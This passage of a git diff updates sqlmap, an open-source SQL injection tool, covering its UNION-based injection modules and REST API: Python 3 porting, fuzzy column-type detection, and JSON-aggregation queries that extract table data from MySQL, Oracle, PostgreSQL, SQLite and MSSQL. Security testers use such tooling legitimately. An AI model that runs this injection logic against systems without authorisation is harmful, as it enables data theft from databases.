FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) + query = agent.suffixQuery(query, suffix=suffix, comment=comment) + payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + + if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): + for column in candidate: + if column.startswith("'") and column.strip("'") in (page or ""): + retVal = [(_ if _ != column else "%s") for _ in candidate] + break return retVal @@ -167,7 +215,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO validPayload = None vector = None - positions = range(0, count) + positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) @@ -197,7 +245,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters @@ -215,7 +263,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) @@ -228,8 +276,8 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" - logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + logger.warning(warnMsg) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() @@ -237,7 +285,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" - logger.warn(warnMsg) + logger.warning(warnMsg) else: break @@ -269,24 +317,34 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) + where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: - count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) + count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) - if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)): + if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): + if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: + if kb.fuzzUnionTest is None: + msg = "do you want to (re)try to find proper " + msg += "UNION column types with fuzzy test? [y/N] " + + kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + if kb.fuzzUnionTest: + kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL: + if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " - if not readInput(message, default="Y", boolean=True): + if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: @@ -303,12 +361,13 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) - if count and orderBy is None and kb.orderByColumns is not None: # discard ORDER BY results (not usable - e.g. maybe invalid altogether) - conf.uChar, kb.uChar = uChars - validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) + conf.uChar, kb.uChar = uChars + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector +@stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union @@ -319,7 +378,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix): return negativeLogic = kb.negativeLogic - kb.technique = PAYLOAD.TECHNIQUE.UNION + setTechnique(PAYLOAD.TECHNIQUE.UNION) try: if negativeLogic: diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 7a8a24f9648..b544b56acde 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,16 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import binascii +import json import re import time -import xml.etree.ElementTree -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue @@ -23,11 +21,11 @@ from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue @@ -38,7 +36,10 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError -from lib.core.convert import htmlunescape +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -53,13 +54,14 @@ from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -from thirdparty.odict.odict import OrderedDict +from lib.utils.safe2bin import safecharencode +from thirdparty import six +from thirdparty.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted @@ -70,24 +72,85 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector - if not kb.rowXmlMode: + if not kb.jsonAggMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] + + # Note: introduced columns in 1.4.2.42#dev + try: + kb.tableFrom = vector[9] + kb.unionTemplate = vector[10] + except IndexError: + pass + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: + injExpression = unescaper.escape(expression) where = vector[6] - query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) + if page and kb.chars.start.upper() in page and kb.chars.start not in page: + singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") + + page = page.lower() + incrementCounter(PAYLOAD.TECHNIQUE.UNION) - if not kb.rowXmlMode: + if kb.jsonAggMode: + for _page in (page or "", (page or "").replace('\\"', '"')): + if Backend.isDbms(DBMS.MSSQL): + output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + + if output: + try: + retVal = None + output_decoded = htmlUnescape(output) + json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) + + if not isinstance(json_data, list): + json_data = [json_data] + + if json_data and isinstance(json_data[0], dict): + fields = list(json_data[0].keys()) + + if fields: + parts = [] + for row in json_data: + parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) + retVal = "".join(parts) + except: + retVal = None + else: + retVal = getUnicode(retVal) + elif Backend.isDbms(DBMS.PGSQL): + output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: + retVal = output + else: + output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: + try: + retVal = "" + for row in json.loads(output): + # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] + for match in re.finditer(r"base64:type\d+:([^ ]+)", row): + row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) + retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) + except: + retVal = None + else: + retVal = getUnicode(retVal) + + if retVal: + break + else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): @@ -103,58 +166,38 @@ def _(regex): page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) - else: - output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) - if output: - try: - root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING)) - retVal = "" - for column in kb.dumpColumns: - base64 = True - for child in root: - value = child.attrib.get(column, "").strip() - if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): - base64 = False - break - - try: - value.decode("base64") - except binascii.Error: - base64 = False - break - - if base64: - for child in root: - child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL - - for child in root: - row = [] - for column in kb.dumpColumns: - row.append(child.attrib.get(column, NULL)) - retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) - - except: - pass - else: - retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): - retVal = htmlunescape(retVal).replace("<br>", "\n") + retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) - elif not kb.rowXmlMode: + elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) + + elif re.search(r"ORDER BY [^ ]+\Z", expression): + debugMsg = "retrying failed SQL query without the ORDER BY clause" + singleTimeDebugMessage(debugMsg) + + expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) + retVal = _oneShotUnionUse(expression, unpack, limited) + + elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): + debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) + singleTimeDebugMessage(debugMsg) + + kb.nchar = False + retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] @@ -163,31 +206,31 @@ def _(regex): def configUnion(char=None, columns=None): def _configUnionChar(char): - if not isinstance(char, basestring): + if not isinstance(char, six.string_types): return kb.uChar = char if conf.uChar is not None: - kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) + kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): - if not isinstance(columns, basestring): + if not isinstance(columns, six.string_types): return - columns = columns.replace(" ", "") - if "-" in columns: - colsStart, colsStop = columns.split("-") + columns = columns.replace(' ', "") + if '-' in columns: + colsStart, colsStop = columns.split('-') else: colsStart, colsStop = columns, columns - if not colsStart.isdigit() or not colsStop.isdigit(): + if not isDigit(colsStart) or not isDigit(colsStop): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: - errMsg = "--union-cols range has to be from lower to " + errMsg = "--union-cols range has to represent lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) @@ -218,13 +261,6 @@ def unionUse(expression, unpack=True, dump=False): # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None - if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: - kb.rowXmlMode = True - _ = "(%s FOR XML RAW, BINARY BASE64)" % expression - output = _oneShotUnionUse(_, False) - value = parseUnionPage(output) - kb.rowXmlMode = False - if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) @@ -232,12 +268,30 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): + kb.jsonAggMode = True + if Backend.isDbms(DBMS.MYSQL): + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.ORACLE): + query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.SQLITE): + query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item + query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.MSSQL): + query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + output = _oneShotUnionUse(query, False) + value = parseUnionPage(output) + kb.jsonAggMode = False + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: @@ -257,24 +311,24 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) - elif count and (not isinstance(count, basestring) or not count.isdigit()): + elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value @@ -301,8 +355,8 @@ def unionUse(expression, unpack=True, dump=False): if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" + debugMsg = "suppressing possible resume console info for " + debugMsg += "large number of rows as it might take too long" logger.debug(debugMsg) try: @@ -348,7 +402,7 @@ def unionThread(): key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item - items = filtered.values() + items = list(six.itervalues(filtered)) items = [items] index = None for index in xrange(1 + len(threadData.shared.buffered)): @@ -372,11 +426,11 @@ def unionThread(): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] - if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, basestring) else [items])) + if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: + _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) @@ -391,7 +445,7 @@ def unionThread(): warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: for _ in sorted(threadData.shared.buffered): @@ -407,7 +461,7 @@ def unionThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index ae971efe7fb..b0242b3adf7 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,14 +2,13 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import contextlib -import httplib import logging import os import re @@ -18,21 +17,27 @@ import sqlite3 import sys import tempfile +import threading import time -import urllib2 from lib.core.common import dataToStdout from lib.core.common import getSafeExString +from lib.core.common import openFile from lib.core.common import saveConfig +from lib.core.common import setColor from lib.core.common import unArrayizeValue -from lib.core.convert import base64encode -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb -from lib.core.data import paths from lib.core.data import logger +from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.dicts import PART_RUN_CONTENT_TYPES @@ -42,10 +47,12 @@ from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict -from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser @@ -57,6 +64,10 @@ from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import input as _input +from thirdparty.six.moves import urllib as _urllib # Global data storage class DataStore(object): @@ -78,6 +89,7 @@ def __init__(self, database=None): def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() + self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): @@ -91,25 +103,28 @@ def commit(self): self.connection.commit() def execute(self, statement, arguments=None): - while True: - try: - if arguments: - self.cursor.execute(statement, arguments) + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) else: - self.cursor.execute(statement) - except sqlite3.OperationalError as ex: - if "locked" not in getSafeExString(ex): - raise - else: - break + break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): - self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") - self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") - self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): @@ -160,11 +175,11 @@ def engine_start(self): saveConfig(self.options, configFile) if os.path.exists("sqlmap.py"): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) @@ -261,7 +276,7 @@ def emit(self, record): Record emitted events to IPC database for asynchronous I/O communication with the parent process """ - conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) def setRestAPILog(): if conf.api: @@ -292,7 +307,7 @@ def check_authentication(): request.environ["PATH_INFO"] = "/error/401" try: - creds = match.group(1).decode("base64") + creds = decodeBase64(match.group(1), binary=False) except: request.environ["PATH_INFO"] = "/error/401" else: @@ -362,7 +377,7 @@ def task_new(): """ Create a new task """ - taskid = hexencode(os.urandom(8)) + taskid = encodeHex(os.urandom(8), binary=False) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) @@ -455,7 +470,7 @@ def option_get(taskid): logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) - logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options))) + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) return jsonize({"success": True, "options": results}) @@ -494,6 +509,11 @@ def scan_start(taskid): logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) + for key in request.json: + if key in RESTAPI_UNSUPPORTED_OPTIONS: + logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) + return jsonize({"success": False, "message": "Unsupported option '%s'" % key}) + # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) @@ -593,7 +613,7 @@ def scan_log_limited(taskid, start, end): logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - if not start.isdigit() or not end.isdigit() or end < start: + if not start.isdigit() or not end.isdigit() or int(end) < int(start): logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) @@ -645,24 +665,35 @@ def download(taskid, target, filename): if os.path.isfile(path): logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) - with open(path, 'rb') as inf: - file_content = inf.read() - return jsonize({"success": True, "file": base64encode(file_content)}) + content = openFile(path, "rb").read() + return jsonize({"success": True, "file": encodeBase64(content, binary=False)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) -def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): +@get("/version") +def version(token=None): + """ + Fetch server version + """ + + logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ REST-JSON API server """ - DataStore.admin_token = hexencode(os.urandom(16)) + DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.username = username DataStore.password = password - _, Database.filepath = 